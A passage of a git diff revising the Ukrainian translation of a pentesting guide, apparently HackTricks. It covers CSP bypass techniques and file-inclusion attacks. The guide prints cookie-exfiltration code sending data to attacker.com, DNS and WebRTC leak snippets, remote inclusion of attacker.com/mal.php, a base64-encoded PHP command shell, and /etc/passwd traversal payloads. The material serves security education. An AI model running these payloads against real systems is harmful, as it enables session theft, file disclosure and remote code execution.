повідомляє про порушення, не блокуючи їх. Ідеально для тестування у передвиробничих середовищах. +- `Content-Security-Policy-Report-Only`: Використовується для моніторингу; повідомляє про порушення, не блокуючи їх. Ідеально підходить для тестування в передпродакшн середовищах. ### Визначення ресурсів -CSP обмежує джерела завантаження як активного, так і пасивного контенту, контролюючи такі аспекти, як виконання вбудованого JavaScript та використання `eval()`. Приклад політики є: +CSP обмежує джерела (origins) для завантаження як активного, так і пасивного контенту, контролюючи такі аспекти, як виконання inline JavaScript та використання `eval()`. Приклад політики: ```bash default-src 'none'; img-src 'self'; @@ -39,38 +39,38 @@ object-src 'none'; ``` ### Директиви -- **script-src**: Дозволяє конкретні джерела для JavaScript, включно з URL, inline-скриптами та скриптами, що запускаються обробниками подій або XSLT-стилями. -- **default-src**: Встановлює політику за замовчуванням для отримання ресурсів, коли відсутні конкретні директиви завантаження. -- **child-src**: Визначає дозволені джерела для web workers і вбудованого вмісту фреймів. +- **script-src**: Дозволяє конкретні джерела для JavaScript, включаючи URL, вбудовані скрипти та скрипти, що запускаються обробниками подій або XSLT стилями. +- **default-src**: Встановлює політику за замовчуванням для отримання ресурсів, коли відсутні специфічні директиви для fetch. +- **child-src**: Визначає дозволені джерела для веб-воркерів і вбудованого вмісту фреймів. - **connect-src**: Обмежує URL, які можна завантажувати через інтерфейси на кшталт fetch, WebSocket, XMLHttpRequest. - **frame-src**: Обмежує URL для фреймів. -- **frame-ancestors**: Вказує, які джерела можуть вбудовувати поточну сторінку; застосовується до елементів, таких як ``, ` // The bot will load an URL with the payload @@ -547,24 +547,24 @@ console.log(prefix) run() ``` -### Через Bookmarklets +### За допомогою Bookmarklets -Ця атака передбачає соціальну інженерію, коли нападник **переконує користувача перетягнути посилання на bookmarklet у браузері**. Цей bookmarklet міститиме **шкідливий javascript** код, який при перетягуванні або натисканні виконається в контексті поточного вікна веб-переглядача, **обминаючи CSP і дозволяючи викрасти конфіденційну інформацію** таку як cookies або tokens. +Ця атака передбачає певну соціальну інженерію, де атакуючий **переконує користувача перетягнути посилання на bookmarklet браузера**. Це bookmarklet міститиме **шкідливий javascript** код, який при drag\&dropped або натисканні виконуватиметься в контексті поточного веб-вікна, **обминаючи CSP і дозволяючи викрадати конфіденційну інформацію** таку як cookies або tokens. -For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). +Для додаткової інформації [**перегляньте оригінальний звіт тут**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). -### CSP bypass шляхом обмеження CSP +### Обхід CSP шляхом обмеження CSP -In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **abuse a different script to load an arbitrary script**. +У [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP було обійдено шляхом ін’єкції всередину дозволеного iframe більш обмежувальної CSP, яка забороняла завантаження конкретного JS файлу, що потім через **prototype pollution** або **dom clobbering** дозволило **зловживати іншим скриптом для завантаження довільного скрипту**. -Ви можете **обмежити CSP у Iframe** за допомогою атрибуту **`csp`**: +Ви можете **обмежити CSP iframe** за допомогою атрибуту **`csp`**: ```html ``` -In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), за допомогою **HTML injection** було можливим ще більше **обмежити** **CSP**, через що скрипт, що запобігає CSTI, був відключений і тому **vulnerability became exploitable.**\ -**CSP** можна зробити більш суворим за допомогою **HTML meta tags**, а inline scripts можна відключити, **видаливши** відповідний **запис**, що дозволяє їх **nonce**, і **enable specific inline script via sha**: +У [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), було можливо через **HTML injection** більш **restrict** **CSP**, внаслідок чого скрипт, що запобігає CSTI, був відключений і тому **vulnerability became exploitable.**\ +**CSP** можна зробити більш суворим за допомогою **HTML meta tags**, а inline scripts можна вимкнути, **removing** **the entry** що дозволяє їх **nonce**, і **enable specific inline script via sha**: ```html ' ``` -### Leaking інформації з CSP та iframe +### Leaking інформацію з CSP і Iframe -- Створюється `iframe`, що вказує на URL (назвемо його `https://example.redirect.com`), який дозволений CSP. +- Створюється `iframe`, який вказує на URL (назвімо його `https://example.redirect.com`), що дозволений CSP. - Цей URL потім перенаправляє на секретний URL (наприклад, `https://usersecret.example2.com`), який **не дозволений** CSP. -- Прослуховуючи подію `securitypolicyviolation`, можна отримати властивість `blockedURI`. Ця властивість розкриває домен заблокованого URI, що призводить до leak секретного домену, на який перенаправляв початковий URL. +- Прослуховуючи подію `securitypolicyviolation`, можна захопити властивість `blockedURI`. Ця властивість розкриває домен заблокованого URI, leaking секретний домен, на який було перенаправлено початковий URL. -Цікавий момент: браузери, як Chrome і Firefox, поводяться по-різному при обробці iframe щодо CSP, що може призвести до потенційного leak чутливої інформації через невизначену поведінку. +Цікаво зазначити, що браузери, такі як Chrome та Firefox, мають різну поведінку при обробці iframe щодо CSP, що може призвести до розкриття чутливої інформації через невизначену поведінку. -Інша техніка полягає в експлуатації самого CSP, щоб вивести секретний subdomain. Цей метод базується на binary search algorithm і на налаштуванні CSP для включення певних доменів, які навмисно блокуються. Наприклад, якщо секретний subdomain складається з невідомих символів, ви можете ітеративно тестувати різні subdomains, змінюючи CSP directive щоб блокувати або дозволяти ці subdomains. Ось фрагмент, що показує, як CSP може бути налаштований для полегшення цього методу: +Інший метод полягає у використанні самої CSP для встановлення секретного піддомену. Цей підхід базується на бінарному пошуку і зміні CSP для включення конкретних доменів, які навмисно блокуються. Наприклад, якщо секретний піддомен складається з невідомих символів, ви можете ітеративно тестувати різні піддомени, модифікуючи директиву CSP, щоб блокувати або дозволяти ці піддомени. Ось фрагмент, який показує, як CSP може бути налаштований для полегшення цього методу: ```markdown img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev ``` -Спостерігаючи, які запити блокуються або дозволяються CSP, можна звузити множину можливих символів у секретному піддомені і зрештою виявити повний URL. +Моніторячи, які запити блокуються або дозволяються CSP, можна звузити набір можливих символів у секретному піддомені і в кінцевому підсумку відкрити повний URL. -Обидва методи експлуатують нюанси реалізації CSP та поведінки в браузерах, показуючи, як на вигляд безпечні політики можуть ненавмисно leak конфіденційної інформації. +Обидва методи використовують нюанси реалізації CSP та поведінки браузерів, демонструючи, як на перший погляд безпечні політики можуть ненавмисно leak конфіденційну інформацію. Trick from [**here**](https://ctftime.org/writeup/29310). -## Небезпечні технології для обходу CSP +## Unsafe Technologies to Bypass CSP -### PHP-помилки при занадто великій кількості параметрів +### PHP — помилки при занадто великій кількості params -Згідно з [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), відправка надто великої кількості параметрів (1001 GET parameters хоча це також можна зробити з POST params і більше ніж 20 файлів). Будь-який визначений **`header()`** в PHP web-коді **не буде надісланий** через помилку, яку це спричинить. +Згідно з [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), відправка занадто великої кількості параметрів (1001 GET parameters хоча це можна також зробити з POST params і більше ніж 20 файлів). Будь-який визначений **`header()`** у PHP web code **не буде відправлено** через помилку, яку це спричинить. -### PHP response buffer overload +### PHP — перевантаження буфера відповіді -Відомо, що PHP за замовчуванням **буферизує відповідь до 4096** байт. Тому, якщо PHP показує warning, надавши **достатньо даних у warning'ах**, **response** буде **відправлено** **перед** **CSP header**, що спричинить ігнорування заголовка.\ -Отже, техніка по суті полягає у **заповненні буфера відповіді warning'ами**, щоб CSP header не був надісланий. +PHP відомий тим, що **за замовчуванням буферизує response до 4096** байтів. Тому, якщо PHP показує warning, надаючи **достатньо даних всередині warning**, **response** буде **відправлено** **перед** **CSP header**, через що заголовок буде ігноровано.\ +Техніка, фактично, полягає в **заповненні буфера відповіді warning-ами**, щоб CSP header не був відправлений. Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points). -### Kill CSP via max_input_vars (headers already sent) +### Припинення дії CSP через max_input_vars (headers already sent) -Оскільки заголовки повинні бути надіслані перед будь-яким виводом, warning'и, які видає PHP, можуть зробити недійсними подальші виклики `header()`. Якщо введення користувача перевищує `max_input_vars`, PHP спочатку викидає startup warning; будь-який наступний `header('Content-Security-Policy: ...')` завершиться помилкою “headers already sent”, фактично відключаючи CSP і дозволяючи інакше заблокований reflective XSS. +Оскільки headers має бути відправлено до будь-якого виводу, warnings, які генерує PHP, можуть зробити недійсними пізніші виклики `header()`. Якщо користувацький ввід перевищує `max_input_vars`, PHP спочатку викидає startup warning; будь-який наступний `header('Content-Security-Policy: ...')` завершиться помилкою “headers already sent”, фактично відключаючи CSP і дозволяючи інакше заблокований reflective XSS. ```php " @@ -635,7 +635,7 @@ curl -i "http://orange.local/?xss=&A=1&A=2&...&A=1000" ``` ### Перезапис сторінки помилки -Згідно з [**this writeup**](https://blog.ssrf.kr/69), схоже, було можливо обійти захист CSP, завантаживши сторінку помилки (ймовірно без CSP) й перезаписавши її вміст. +З [**this writeup**](https://blog.ssrf.kr/69) виглядає, що можна було bypass захист CSP, завантаживши сторінку помилки (можливо без CSP) та перезаписавши її вміст. ```javascript a = window.open("/" + "x".repeat(4100)) setTimeout(function () { @@ -644,32 +644,31 @@ a.document.body.innerHTML = ` ``` @@ -678,7 +677,7 @@ document.location = "https://attacker.com/?" + sessionid Щоб завантажувати сторінки швидше, браузери попередньо розв'язують імена хостів у IP-адреси та кешують їх для подальшого використання.\ Ви можете вказати браузеру попередньо розв'язати ім'я хоста за допомогою: `` -Ви можете зловживати цією поведінкою, щоб **exfiltrate sensitive information via DNS requests**: +Цю поведінку можна використати для **exfiltrate sensitive information via DNS requests**: ```javascript var sessionid = document.cookie.split("=")[1] + "." var body = document.getElementsByTagName("body")[0] @@ -695,7 +694,7 @@ linkEl.rel = "prefetch" linkEl.href = urlWithYourPreciousData document.head.appendChild(linkEl) ``` -Щоб уникнути цього, сервер може надіслати HTTP-заголовок: +Щоб уникнути цього, сервер може відправити HTTP header: ``` X-DNS-Prefetch-Control: off ``` @@ -706,7 +705,7 @@ X-DNS-Prefetch-Control: off На кількох сторінках можна прочитати, що **WebRTC не перевіряє політику `connect-src` у CSP**. -Насправді ви можете _leak_ інформацію, використовуючи _DNS request_. Перегляньте цей код: +Насправді ви можете _leak_ інформацію, використовуючи _DNS request_. Подивіться на цей код: ```javascript ;(async () => { p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) @@ -728,7 +727,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` ### CredentialsContainer -The credential popup надсилає DNS-запит до iconURL без обмежень з боку сторінки. Працює лише в безпечному контексті (HTTPS) або на localhost. +Спливаюче вікно для облікових даних надсилає DNS-запит до iconURL, не будучи обмеженим сторінкою. Працює лише в безпечному контексті (HTTPS) або на localhost. ```javascript navigator.credentials.store( new FederatedCredential({ @@ -741,7 +740,7 @@ iconURL:"https:"+your_data+"example.com" ``` ## Перевірка політик CSP онлайн -- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com/) +- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) - [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) ## Автоматичне створення CSP diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index e2a020cb0..14f9031e4 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -4,16 +4,16 @@ ## File Inclusion -**Remote File Inclusion (RFI):** Файл завантажується з віддаленого сервера (Найкраще: ви можете записати код, і сервер його виконає). У php це **відключено** за замовчуванням (**allow_url_include**).\ +**Remote File Inclusion (RFI):** Файл завантажується з віддаленого сервера (Перевага: ви можете написати код, і сервер його виконає). У PHP це за замовчуванням **вимкнено** (**allow_url_include**).\ **Local File Inclusion (LFI):** Сервер завантажує локальний файл. -Уразливість виникає, коли користувач якимось чином може контролювати файл, який буде завантажений сервером. +Вразливість виникає, коли користувач якимось чином може контролювати файл, який буде завантажений сервером. -Уразливі **PHP функції**: require, require_once, include, include_once +Уразливі **PHP functions**: require, require_once, include, include_once -Цікавий інструмент для експлуатації цієї уразливості: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) +Корисний інструмент для експлуатації цієї вразливості: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) -## Blind - Interesting - LFI2RCE файли +## Blind - Interesting - LFI2RCE files ```python wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ ``` @@ -29,7 +29,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion Спробуйте також замінити `/` на `\`\ Спробуйте також додати `../../../../../` -Список, що використовує кілька технік для знаходження файлу /etc/password (щоб перевірити, чи існує вразливість), можна знайти [тут](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) +Список, який використовує кілька технік для знаходження файлу /etc/password (щоб перевірити, чи існує вразливість), можна знайти [тут](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) ### **Windows** @@ -43,19 +43,19 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion Спробуйте також замінити `/` на `\`\ Спробуйте також видалити `C:/` і додати `../../../../../` -Список, що використовує кілька технік для знаходження файлу /boot.ini (щоб перевірити, чи існує вразливість), можна знайти [тут](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) +Список, який використовує кілька технік для знаходження файлу /boot.ini (щоб перевірити, чи існує вразливість), можна знайти [тут](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) ### **OS X** -Перевірте список LFI для linux. +Перевірте LFI список для Linux. -## Основи LFI та обходи +## Основи LFI та обхідні методи -Усі приклади стосуються Local File Inclusion, але також можуть бути застосовані до Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](). +Усі приклади стосуються Local File Inclusion, але також можуть бути застосовані до Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](). ``` http://example.com/index.php?page=../../../etc/passwd ``` -### послідовності обходу видаляються нерекурсивно +### traversal sequences видаляються нерекурсивно ```python http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd @@ -63,7 +63,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Null byte (%00)** -Обхід додавання додаткових символів у кінець переданого рядка (обхід: $\_GET\['param']."php") +Bypass додавання додаткових символів у кінець наданого рядка (bypass of: $\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` @@ -71,14 +71,14 @@ http://example.com/index.php?page=../../../etc/passwd%00 ### **Кодування** -Ви можете використовувати нестандартні кодування, такі як double URL encode (і інші): +Ви можете використовувати нестандартні кодування, такі як double URL encode (та інші): ``` http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` -### З наявної папки +### Із існуючої папки Можливо, back-end перевіряє шлях до папки: ```python @@ -86,36 +86,36 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` ### Дослідження директорій файлової системи на сервері -Файлову систему сервера можна досліджувати рекурсивно, щоб ідентифікувати директорії, а не лише файли, застосовуючи певні техніки. Цей процес включає визначення глибини директорії та перевірку наявності конкретних папок. Нижче наведено детальний метод для цього: +Файлову систему сервера можна рекурсивно досліджувати для виявлення директорій, а не лише файлів, використовуючи певні техніки. Цей процес включає визначення глибини директорії та перевірку наявності конкретних папок. Нижче наведено детальний метод для досягнення цього: -1. **Determine Directory Depth:** Визначте глибину вашої поточної директорії, успішно отримавши файл `/etc/passwd` (підходить, якщо сервер на базі Linux). Приклад URL може бути структурований таким чином, що вказує глибину три: +1. **Визначте глибину директорії:** Визначте глибину поточної директорії шляхом успішного отримання файлу `/etc/passwd` (застосовно, якщо сервер працює під Linux). Приклад URL може мати таку структуру, що вказує на глибину три: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` -2. **Перевірка папок:** Додайте назву підозрілої папки (наприклад, `private`) до URL, а потім поверніться до `/etc/passwd`. Додатковий рівень директорії вимагає збільшення глибини на одиницю: +2. **Перевірка папок:** Додайте назву підозрілої папки (наприклад, `private`) до URL, потім поверніться до `/etc/passwd`. Додатковий рівень директорії вимагає збільшення глибини на одиницю: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` -3. **Інтерпретуйте результати:** Відповідь сервера вказує, чи існує папка: -- **Помилка / Відсутній вивід:** Папка `private`, ймовірно, не існує в указаному місці. -- **Вміст `/etc/passwd`:** Наявність папки `private` підтверджується. -4. **Рекурсивне дослідження:** Виявлені папки можна додатково перевірити на наявність підкаталогів або файлів, використовуючи ту саму техніку або традиційні методи Local File Inclusion (LFI). +3. **Інтерпретація результатів:** Відповідь сервера вказує, чи існує папка: +- **Помилка / Немає виводу:** Папка `private` ймовірно не існує за вказаним шляхом. +- **Вміст `/etc/passwd`:** Підтверджено наявність папки `private`. +4. **Рекурсивне дослідження:** Виявлені папки можна додатково досліджувати на наявність підкаталогів або файлів, використовуючи ту саму техніку або традиційні Local File Inclusion (LFI) методи. -Для дослідження директорій у різних розташуваннях файлової системи відкоригуйте payload відповідно. Наприклад, щоб перевірити, чи містить `/var/www/` папку `private` (припускаючи, що поточна директорія знаходиться на глибині 3), використовуйте: +Щоб дослідити директорії в інших частинах файлової системи, відповідно змініть payload. Наприклад, щоб перевірити, чи містить `/var/www/` папку `private` (припускаючи, що поточна директорія знаходиться на глибині 3), використовуйте: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **Path Truncation Technique** -Path truncation — це метод, який застосовується для маніпуляції шляхами файлів у вебзастосунках. Його часто використовують для доступу до обмежених файлів, обходячи певні заходи безпеки, які додають додаткові символи наприкінці шляху файлу. Мета — сформувати шлях до файлу, який після змін завдяки заходу безпеки все одно вказуватиме на потрібний файл. +Path truncation — це метод, який використовують для маніпулювання шляхами файлів у веб-застосунках. Часто його використовують для доступу до обмежених файлів, оминаючи певні заходи безпеки, які додають додаткові символи в кінець шляхів файлів. Мета — сформувати шлях, який після внесених заходом безпеки змін все одно вказуватиме на потрібний файл. -У PHP різні подання шляху файлу можуть розглядатися як еквівалентні через природу файлової системи. Наприклад: +У PHP різні представлення шляху файлу можуть вважатися еквівалентними через особливості файлової системи. Наприклад: -- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, та `/etc/passwd/` усі вважаються тим самим шляхом. -- Коли останні 6 символів — `passwd`, додавання `/` (утворюючи `passwd/`) не змінює цільовий файл. -- Подібно, якщо до шляху файлу додається `.php` (наприклад `shellcode.php`), додавання `/.` наприкінці не змінить файл, до якого відбувається доступ. +- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, та `/etc/passwd/` обробляються як один і той же шлях. +- Коли останні 6 символів — `passwd`, додавання `/` (тобто `passwd/`) не змінює цільового файлу. +- Аналогічно, якщо до шляху додається `.php` (наприклад, `shellcode.php`), додавання `/.` вкінці не змінить файл, до якого відбувається доступ. -Наведені приклади демонструють, як використовувати path truncation для доступу до `/etc/passwd`, що є поширеною ціллю через його чутливий вміст (інформація про облікові записи користувачів): +Наведені приклади демонструють, як використовувати path truncation для доступу до `/etc/passwd` — часта ціль через конфіденційний вміст (інформація про облікові записи користувачів): ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. @@ -125,15 +125,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` -У цих сценаріях кількість необхідних traversals може бути близько 2027, але це число може змінюватися залежно від конфігурації сервера. +У цих сценаріях кількість traversals, які потрібні, може становити близько 2027, але це число може змінюватися залежно від конфігурації сервера. -- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) у поєднанні з додатковими dot segments та символами можуть використовуватися для навігації файловою системою, ефективно ігноруючи рядки, що додаються сервером. -- **Determining the Required Number of Traversals**: Методом спроб і помилок можна визначити точну кількість `../` послідовностей, необхідних для переходу до кореневого каталогу, а потім до `/etc/passwd`, при цьому нейтралізуючи будь-які додані рядки (наприклад, `.php`), але бажаний шлях (`/etc/passwd`) залишається недоторканим. -- **Starting with a Fake Directory**: Поширеною практикою є починати шлях з неіснуючого каталогу (наприклад, `a/`). Ця техніка використовується як пересторога або щоб задовольнити вимоги логіки розбору шляху сервером. +- **Using Dot Segments and Additional Characters**: traversal sequences (`../`) у поєднанні з додатковими dot segments та символами можна використовувати для навігації файловою системою, ефективно ігноруючи сервером додані рядки. +- **Determining the Required Number of Traversals**: Через метод спроб і помилок можна знайти точну кількість traversal sequences (`../`) необхідних для переходу до кореневого каталогу, а потім до `/etc/passwd`, гарантуючи, що будь-які додані рядки (наприклад, `.php`) нейтралізовані, але бажаний шлях (`/etc/passwd`) залишається незмінним. +- **Starting with a Fake Directory**: Загальною практикою є починати шлях з неіснуючого каталогу (наприклад, `a/`). Ця техніка використовується як запобіжний захід або для виконання вимог логіки парсингу шляху сервера. -When employing path truncation techniques, важливо розуміти поведінку парсера шляху сервера та структуру файлової системи. Кожен сценарій може вимагати різного підходу, і часто необхідне тестування, щоб знайти найефективніший метод. +When employing path truncation techniques, важливо розуміти поведінку парсингу шляху сервером і структуру файлової системи. Кожен сценарій може вимагати іншого підходу, і часто необхідне тестування, щоб знайти найефективніший метод. -**Ця вразливість була виправлена в PHP 5.3.** +**Ця уразливість була виправлена в PHP 5.3.** ### **Filter bypass tricks** ``` @@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter ``` ## Remote File Inclusion -У php це вимкнено за замовчуванням, тому що **`allow_url_include`** встановлено як **Off.** Воно має бути **On**, щоб працювати, і в такому випадку ви можете включити PHP файл з вашого сервера та отримати RCE: +У php це вимкнено за замовчуванням, бо **`allow_url_include`** встановлено в **Off.** Воно має бути **On**, щоб це працювало, і в такому випадку ви можете include PHP файл зі свого сервера і отримати RCE: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` -Якщо з якоїсь причини **`allow_url_include`** встановлено в **On**, але PHP **фільтрує** доступ до зовнішніх веб-сторінок, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), ви, наприклад, можете використати data protocol з base64, щоб декодувати b64 PHP code і egt RCE: +Якщо з якоїсь причини **`allow_url_include`** є **On**, але PHP **filtering** доступ до зовнішніх веб-сторінок, [згідно з цим постом](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), ви можете, наприклад, використати протокол data з base64, щоб декодувати b64 PHP-код і отримати RCE: ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` > [!TIP] -> У попередньому коді фінальний `+.txt` було додано, бо атакуючому потрібен був рядок, який закінчується на `.txt`, тож рядок завершується ним і після b64 decode ця частина поверне лише сміття, а реальний PHP код буде включено (і, отже, виконано). -> -> Ще один приклад **not using the `php://` protocol**: +> У попередньому коді фінальний `+.txt` було додано, бо зловмиснику потрібен був string, який закінчувався на `.txt`, тож string завершується ним, і після b64 decode ця частина поверне лише junk, а справжній PHP code буде включено (і, отже, виконано). + +Ще один приклад **без використання протоколу `php://`** буде: ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` ## Python кореневий елемент -У python у коді на кшталт цього: +У Python у коді, як у цьому: ```python # file_name is controlled by a user os.path.join(os.getcwd(), "public", file_name) ``` -Якщо користувач передає **absolute path** до **`file_name`**, **previous path is just removed**: +Якщо користувач передає **абсолютний шлях** до **`file_name`**, **попередній шлях просто видаляється**: ```python os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' ``` Це очікувана поведінка згідно з [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): -> Якщо компонент є абсолютним шляхом, всі попередні компоненти відкидаються, і об'єднання продовжується з абсолютного компоненту шляху. +> Якщо компонент є абсолютним шляхом, всі попередні компоненти відкидаються і об'єднання продовжується з компонента абсолютного шляху. -## Java — перелік директорій +## Java Перелік директорій -Схоже, якщо у вас є Path Traversal у Java і ви **запитуєте директорію** замість файлу, повертається **перелік вмісту директорії**. Це не відбувається в інших мовах (наскільки мені відомо). +Здається, якщо у вас є Path Traversal у Java і ви **запитуєте директорію** замість файлу, то **повертається список вмісту директорії**. Це не відбуватиметься в інших мовах (наскільки мені відомо). -## Топ 25 параметрів +## Топ-25 параметрів -Ось список топ 25 параметрів, які можуть бути вразливі до local file inclusion (LFI) vulnerabilities (from [link](https://twitter.com/trbughunters/status/1279768631845494787)): +Ось список топ-25 параметрів, які можуть бути вразливі до local file inclusion (LFI) vulnerabilities (from [link](https://twitter.com/trbughunters/status/1279768631845494787)): ``` ?cat={payload} ?dir={payload} @@ -211,38 +211,38 @@ os.path.join(os.getcwd(), "public", "/etc/passwd") ?mod={payload} ?conf={payload} ``` -## LFI / RFI using PHP wrappers & protocols +## LFI / RFI за допомогою PHP обгорток та протоколів ### php://filter -PHP filters allow perform basic **modification operations on the data** before being it's read or written. Існує 5 категорій фільтрів: +PHP filters дозволяють виконувати базові **операції модифікації над даними** перед тим, як вони будуть прочитані або записані. Існує 5 категорій фільтрів: - [String Filters](https://www.php.net/manual/en/filters.string.php): - `string.rot13` - `string.toupper` - `string.tolower` -- `string.strip_tags`: Видаляє теги з даних (все, що між символами "<" і ">") +- `string.strip_tags`: Видаляє теги з даних (усе між символами "<" і ">") - Note that this filter has disappear from the modern versions of PHP - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - `convert.base64-encode` - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` -- `convert.iconv.*` : Перетворює в інше кодування (`convert.iconv..`). Щоб отримати **список всіх кодувань**, що підтримуються, запустіть у консолі: `iconv -l` +- `convert.iconv.*` : Transforms to a different encoding(`convert.iconv..`) . To get the **list of all the encodings** supported run in the console: `iconv -l` > [!WARNING] -> Зловживаючи фільтром конверсії `convert.iconv.*`, ви можете **згенерувати довільний текст**, що може бути корисним для запису довільного тексту або для того, щоб функція типу include опрацювала довільний текст. Для докладнішої інформації див. [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). +> Зловживаючи фільтром конвертації `convert.iconv.*`, ви можете **згенерувати довільний текст**, що може бути корисно для запису довільного тексту або змусити функцію, наприклад include, обробляти довільний текст. Для детальнішої інформації див. [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) -- `zlib.deflate`: Стискає вміст (корисно при екфільтрації великої кількості даних) -- `zlib.inflate`: Розпаковує дані +- `zlib.deflate`: Стискає вміст (корисно if exfiltrating a lot of info) +- `zlib.inflate`: Decompress the data - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) -- `mcrypt.*` : Застаріле -- `mdecrypt.*` : Застаріле +- `mcrypt.*` : Deprecated +- `mdecrypt.*` : Deprecated - Other Filters -- Запустивши в php `var_dump(stream_get_filters());` ви можете знайти кілька **неочікуваних фільтрів**: +- Running in php `var_dump(stream_get_filters());` you can find a couple of **unexpected filters**: - `consumed` -- `dechunk`: зворотно декодує HTTP chunked encoding +- `dechunk`: reverses HTTP chunked encoding - `convert.*` ```php # String Filters @@ -275,19 +275,19 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the ### Використання php filters як oracle для читання довільних файлів -[**У цьому дописі**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) запропоновано техніку читання локального файлу без повернення його вмісту від сервера. Ця техніка базується на **булевій ексфільтрації файлу (по символу) з використанням php filters як oracle**. Це можливо, оскільки php filters можуть бути використані для збільшення тексту настільки, щоб php кинув виняток. +[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) запропоновано техніку для читання локального файлу без повернення його вмісту сервером. Ця техніка базується на **булевій ексфільтрації файлу (символ за символом) з використанням php filters** як oracle. Це можливо, бо php filters можна використати, щоб зробити текст настільки великим, що php викине виняток. -В оригінальному дописі є детальне пояснення техніки, а тут — швидкий підсумок: +У оригінальному дописі можна знайти детальне пояснення техніки, але ось коротке резюме: -- Використовуйте кодек **`UCS-4LE`** щоб залишити провідний символ тексту на початку та змусити довжину рядка зростати експоненційно. -- Це використовується, щоб згенерувати **дуже великий текст, коли початкову літеру вгадано правильно**, внаслідок чого php викличе **помилку**. -- Фільтр **dechunk** **видалить усе, якщо перший символ не є hex**, тому ми можемо дізнатися, чи перший символ — hex. -- Це, у поєднанні з попереднім (та іншими фільтрами залежно від вгаданої літери), дозволить нам вгадувати літеру на початку тексту, спостерігаючи, коли після достатньої кількості трансформацій вона перестане бути hex-символом. Бо якщо вона hex, dechunk її не видалить, а початкова бомба спричинить помилку php. -- Кодек **convert.iconv.UNICODE.CP930** перетворює кожну літеру на 